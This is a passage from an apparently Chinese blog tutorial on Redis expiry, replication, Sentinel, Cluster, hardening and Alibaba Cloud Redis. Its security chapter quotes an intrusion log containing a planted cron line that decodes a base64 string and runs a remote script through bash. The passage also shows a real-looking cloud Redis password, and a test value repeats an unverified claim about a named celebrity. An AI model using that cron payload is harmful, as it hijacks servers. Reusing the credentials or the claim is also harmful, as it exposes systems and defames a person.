    只有当访问一个key时,才会判断该key是否已过期,过期则清除。该策略可以最大化地节省CPU资源,却对内存非常不友好。极端情况可能出现大量的过期key没有再次被访问,从而不会被清除,占用大量内存。
  • 定期过期
    每隔一定的时间,会扫描一定数量的数据库的expires字典中一定数量的key,并清除其中已过期的key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得CPU和内存资源达到最优的平衡效果。

Redis内存淘汰策略

Redis的内存淘汰策略是指在Redis的用于缓存的内存不足时,怎么处理需要新写入且需要申请额外空间的数据

实际项目中设置内存淘汰策略:maxmemory-policy allkeys-lru,移除最近最少使用的key

[第8章]-Redis的主从复制架构

Redis主从架构介绍

​ 主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点

​ 默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点

​ 从节点也是可以对外提供服务的,主节点是有数据的,从节点可以通过复制操作将主节点的数据同步过来,并且随着主节点数据不断写入,从节点数据也会做同步的更新

​ 除了一主一从模型之外,Redis还提供了一主多从的模型,也就是一个master可以有多个slave,也就相当于有了多份的数据副本

Redis主从架构原理

  • 当从数据库启动后,会向主数据库发送SYNC命令
  • 主数据库接收到SYNC命令后开始在后台保存快照(RDB持久化),并将保存快照期间接收到的命令缓存下来
  • 快照完成后,Redis(Master)将快照文件和所有缓存的命令发送给从数据库
  • Redis(Slave)接收到RDB和缓存命令时,会开始载入快照文件并执行接收到的缓存的命令
  • 后续,每当主数据库接收到写命令时,就会将命令同步给从数据库。

Redis主从架构使用场景

需要读写分离时

  • 通过主从复制可以实现读写分离,以提高服务器的负载能力
  • 在常见的场景中如读的频率远远大于写
  • 当单机Redis无法应付大量的读请求时(尤其是消耗资源的请求),可以通过主从复制功能来建立多个从数据库节点,主数据库只进行写操作,从数据库负责读操作
  • 这种主从复制,比较适合用来处理读多写少的场景,而当单个主数据库不能满足需求时,就需要使用Redis 3.0后推出的集群功能

从数据库需要持久化

  • Redis中相对耗时的操作就是持久化,为了提高性能,可以通过主从复制创建一个或多个从数据库,并在从数据库中启用持久化,同时在主数据库中禁用持久化(例如:禁用AOF)
  • 当从数据库崩溃重启后主数据库会自动将数据同步过来,无需担心数据丢失
  • 而当主数据库崩溃时,后续我们可以通过哨兵(Sentinel)来解决

Redis主从架构部署搭建

安装部署详情见《redis各类部署以及使用介绍》https://blog.csdn.net/wt334502157/article/details/123211953

[第9章]-Redis的Sentine架构

Sentinel介绍

​ Sentinel(哨兵)是Redis的高可用性解决方案:由一个或多个Sentinel实例 组成的Sentinel系统可以监视任意多个主服务器,以及这些主服务器属下的所有从服务器,并在被监视的主服务器进入下线状态时,自动将下线主服务器属下的某个从服务器升级为新的主服务器

哨兵模式安装部署

安装部署详情见《redis各类部署以及使用介绍》https://blog.csdn.net/wt334502157/article/details/123211953

API操作sentinel哨兵操作

代码块

package cn.itcast.redis.api_test;

import org.junit.After;
import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPoolConfig;
import redis.clients.jedis.JedisSentinelPool;

import java.util.HashSet;
import java.util.Set;

public class ReidsSentinelTest {
    
    

    private JedisSentinelPool jedisSentinelPool;

    @BeforeTest
    public void beforeTest() {
    
    
        // JedisPoolConfig配置对象
        JedisPoolConfig config = new JedisPoolConfig();
        // 指定最大空闲连接为10个
        config.setMaxIdle(10);
        // 最小空闲连接5个
        config.setMinIdle(5);
        // 最大等待时间为3000毫秒
        config.setMaxWaitMillis(3000);
        // 最大连接数为50
        config.setMaxTotal(50);

        HashSet<String> sentinelSet = new HashSet<>();
        sentinelSet.add("8.130.25.36:26379");
        sentinelSet.add("8.130.48.66:26379");
        sentinelSet.add("8.130.26.68:26379");

        jedisSentinelPool = new JedisSentinelPool("mymaster", sentinelSet, config);
    }

    @Test
    public void keysTest() {
    
    
        // 1. 要操作Redis,肯定要获取Redis连接。现在通过哨兵连接池来获取连接
        Jedis jedis = jedisSentinelPool.getResource();

        // 2. 执行keys操作
        Set<String> keySet = jedis.keys("*");

        // 3. 遍历所有key
        for (String key : keySet) {
    
    
            System.out.println(key);
        }

        // 4. 再将连接返回到连接池
        jedis.close();
    }

    @AfterTest
    public void afterTest() {
    
    
        jedisSentinelPool.close();
    }
}

[第10章]-Redis的集群架构

Redis集群简介和特点

​ Redis最开始使用主从模式做集群,若master宕机需要手动配置slave转为master;后来为了高可用提出来哨兵模式,哨兵模式下有一个哨兵监视master和slave,若master宕机可自动将slave转为master,但它也有一个问题,就是不能动态扩充;所以在Redis 3.x提出cluster集群模式。

​ Redis Cluster是分布式架构,有多个节点,每个节点都负责进行数据读写操作,每个节点之间会进行通信。Redis Cluster采用无中心结构,每个节点保存数据和整个集群状态,每个节点都和其他所有节点连接

特点:

  • 所有的redis节点彼此互联(PING-PONG机制),内部使用二进制协议优化传输速度和带宽;
  • 节点的fail是通过集群中超过半数的节点检测失效时才生效;
  • 客户端与redis节点直连,不需要中间proxy层,客户端不需要连接集群所有节点,连接集群中任何一个可用节点即可;
  • redis-cluster 把所有的物理节点映射到[0-16383]slot上(不一定是平均分配),cluster 负责维护node<->slot<->value;
  • Redis集群预分好16384个桶(Slot),当需要在 Redis 集群中放置一个 key-value 时,根据 CRC16(key) & 16384的值,决定将一个key放到哪个桶中

催生redis集群架构落地背景

  • 主从复制不能实现高可用
  • 随着公司发展,用户数量增多,并发越来越多,业务需要更高的QPS,而主从复制中单机的QPS可能无法满足业务需求;
  • 数据量的考虑,现有服务器内存不能满足业务数据的需要时,单纯向服务器添加内存不能达到要求,此时需要考虑分布式需求,把数据分布到不同服务器上;
  • 网络流量需求,业务的流量已经超过服务器的网卡的上限值,可考虑使用分布式来进行分流;
  • 离线计算,需要中间环节缓冲等其他需求;
    在存储引擎框架(MySQL、HDFS、HBase、Redis、Elasticsearch等)中,只要数据量很大时,单机无法承受压力,最好的方式就是:数据分布进行存储管理。

对Redis 内存数据库来说:全量数据,单机Redis节点无法满足要求,按照分区规则把数据分到若干个子集当中

redis集群架构优点

  • 缓存永不宕机:启动集群,永远让集群的一部分起作用。主节点失效了子节点能迅速改变角色成为主节点,整个集群的部分节点失败或者不可达的情况下能够继续处理命令;
  • 迅速恢复数据:持久化数据,能在宕机后迅速解决数据丢失的问题;
  • Redis可以使用所有机器的内存,变相扩展性能;
  • 使Redis的计算能力通过简单地增加服务器得到成倍提升,Redis的网络带宽也会随着计算机和网卡的增加而成倍增长;
  • Redis集群没有中心节点,不会因为某个节点成为整个集群的性能瓶颈;
  • 异步处理数据,实现快速读写;

Redis Cluster 集群搭建

安装部署详情见《redis各类部署以及使用介绍》https://blog.csdn.net/wt334502157/article/details/123211953

API操作redis集群操作

package cn.itcast.redis.api_test;

import org.testng.annotations.AfterTest;
import org.testng.annotations.BeforeTest;
import org.testng.annotations.Test;
import redis.clients.jedis.HostAndPort;
import redis.clients.jedis.JedisCluster;
import redis.clients.jedis.JedisPoolConfig;

import java.io.IOException;
import java.util.HashSet;

public class RedisClusterTest {
    
    
    private JedisCluster jedisCluster;

    @BeforeTest
    public void beforeTest() {
    
    
        HashSet<HostAndPort> hostAndPortSet = new HashSet<>();
        hostAndPortSet.add(new HostAndPort("8.130.25.36", 6379));
        hostAndPortSet.add(new HostAndPort("8.130.48.66", 6379));
        hostAndPortSet.add(new HostAndPort("8.130.26.68", 6379));
        hostAndPortSet.add(new HostAndPort("8.130.48.74", 6379));
        hostAndPortSet.add(new HostAndPort("8.130.29.79", 6379));
        hostAndPortSet.add(new HostAndPort("8.130.49.100", 6379));

        // JedisPoolConfig配置对象
        JedisPoolConfig config = new JedisPoolConfig();
        // 指定最大空闲连接为10个
        config.setMaxIdle(10);
        // 最小空闲连接5个
        config.setMinIdle(5);
        // 最大等待时间为3000毫秒
        config.setMaxWaitMillis(3000);
        // 最大连接数为50
        config.setMaxTotal(50);

        jedisCluster = new JedisCluster(hostAndPortSet, config);
    }
	

    @Test
    public void setTest() {
    
    
        jedisCluster.set("k2", "v2");
        System.out.println(jedisCluster.get("k2"));
    }
	

    @AfterTest
    public void afterTest() throws IOException {
    
    
        jedisCluster.close();
    }
}

[第11章]-Redis的各类安全策略

1.开启redis密码认证,并设置高复杂度密码

redis在redis.conf配置文件中,设置配置项requirepass, 开户密码认证

打开redis.conf,找到requirepass所在的地方,修改为指定的密码,密码应符合复杂性要求:
1、长度8位以上
2、包含以下四类字符中的三类字符:
英文大写字母(A 到 Z)
英文小写字母(a 到 z)
10 个基本数字(0 到 9)
非字母字符(例如 !、$、#、%、@、^、&)
3、避免使用已公开的弱密码,如:abcd.1234 、admin@123等
再去掉前面的#号注释符,然后重启redis

2.禁止监听在公网

Redis监听在0.0.0.0,可能导致服务对外或内网横向移动渗透风险,极易被黑客利用入侵

在redis的配置文件redis.conf中配置如下:
bind 127.0.0.1或者内网IP,然后重启redis1

以下纪录为1次黑客攻击:

127.0.0.1:6379> keys backup*
1) "backup1"
2) "backup4"
3) "backup3"
4) "backup2"
127.0.0.1:6379> 
127.0.0.1:6379> 
127.0.0.1:6379> 
127.0.0.1:6379> 
127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash \n\n"
127.0.0.1:6379> FLUSHALL
(error) MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the das configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for

发现多了一些并非自己写入的键值对,内容偏向于代码脚本注入,同时收到阿里云警告:

【阿里云】尊敬的[email protected]:云盾云安全中心检测到您的服务器:39.101.78.174(redis01)出现了紧急安全事件:恶意脚本代码执行,建议您立即登录云安全中心控制台-安全告警处理http://a.aliyun.com/f1.I5aW1 进行处理。

一般通过报错,根据百度去搜索解决办法时,会放开权限写入等配置,最后黑客写入的键值内容注入则成功写入到服务器。所以当有公网IP时,监听在0.0.0.0同时没有用户验证时十分危险。

3.禁止使用root用户启动

使用root权限去运行网络服务是比较有风险的(nginx和apache都是有独立的work用户,而redis没有)。redis crackit 漏洞就是利用root用户的权限来替换或者增加authorized_keys,来获取root登录权限的

使用root切换到redis用户启动服务:
useradd -s /sbin/nolog -M redis
sudo -u redis //redis-server //redis.conf

4.限制redis 配置文件访问权限

因为redis密码明文存储在配置文件中,禁止不相关的用户访问改配置文件是必要的,设置redis配置文件权限为600

chmod 600 //redis.conf

5.修改默认6379端口

避免使用熟知的端口,降低被初级扫描的风险

编辑文件redis的配置文件redis.conf,找到包含port的行,将默认的6379修改为自定义的端口号,然后重启redis

6.打开保护模式

redis默认开启保护模式。要是配置里没有指定bind和密码,开启该参数后,redis只能本地访问,拒绝外部访问

打开保护模式 protected-mode yes

7.禁用或者重命名危险命令

例如FLUSHALL删除所有数据,当数据量非常大线上使用keys *命令,也是非常危险的。因此线上的Redis必须考虑禁用一些危险的命令,或者尽量避免谁都可以使用这些命令,Redis没有完整的管理系统,但是也提供了一些方案

修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command FLUSHDB “”
rename-command CONFIG “”
rename-command KEYS “”
rename-command SHUTDOWN “”
rename-command DEL “”
rename-command EVAL “”
然后重启redis。
重命名为"" 代表禁用命令,如想保留命令,可以重命名为不可猜测的字符串,如:
rename-command FLUSHALL joYAPNXRPmcarcR4ZDgC

[第12章]-云数据库Redis(阿里云)

云数据库Redis简介

云数据库Redis版(ApsaraDB for Redis)是兼容开源Redis协议标准、提供混合存储的数据库服务,基于双机热备架构及集群架构,可满足高吞吐、低延迟及弹性变配等业务需求

云数据库Redis优势

  • 硬件部署在云端,提供完善的基础设施规划、网络安全保障和系统维护服务,您可以专注于业务创新。
  • 支持String(字符串)、List(链表)、Set(集合)、Sorted Set(有序集合)、Hash(哈希表)、Stream(流数据)等多种数据结构,同时支持Transaction(事务)、Pub/Sub(消息订阅与发布)等高级功能。
  • 在社区版的基础上推出企业级内存数据库产品,提供性能增强型、持久内存型

云数据库Redis申请

通过阿里云产品搜索redis,选择适合配置后申请

购买完成后,在云数据库Redis版控制台可以看到实例信息

从管理页面可以看到功能非常丰富,支持页面配置网络白名单、参数调整、性能监视、账号管控等等非常多的功能

在实例信息中,可以查询到redis连接信息,其中分内网和外网访问

找到连接信息后,测试连接

[root@wangting ~]# redis-cli -h r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com -p 6379
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> keys *
(error) NOAUTH Authentication required.
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> auth r0uf24af1ijuio7q0pvi Wt@123456
OK
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> keys *
(empty array)
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> set k1 v1
OK
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> set k2 v2
OK

云数据库Redis页面管理

云数据库Redis也配备了在线页面管理功能,在页面中找到连接数据库

登录后基本可以完成redis的所有需求操作

通过界面尝试写入一个键值对

回到命令行查看

r0uf24af1ijuio7q0pvir0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> keys *
1) "k3"
2) "k1"
3) "k2"
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> get k3
"\xe6\x9d\x8e\xe6\x98\x93\xe5\xb3\xb0\xe5\xab\x96\xe5\xa8\xbc\xe8\xa2\xab\xe6\x8a\x93\xe4\xba\x86\xef\xbc\x81"
# redis中文没有在控制台显示,因为启动redis时没有加--raw参数
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> exit
[root@wangting ~]# redis-cli -h r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com -p 6379 --raw
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> get k3
NOAUTH Authentication required.
# 提示没有通过认证,重新auth认证操作
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> auth r0uf24af1ijuio7q0pvi Wt@123456
OK
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> get  k3
李易峰嫖娼被抓了!
r0uf24af1ijuio7q0pvi.redis.rds.aliyuncs.com:6379> 

可以成功查询到页面键入的键值对

猜你喜欢

转载自blog.csdn.net/wt334502157/article/details/126847893
今日推荐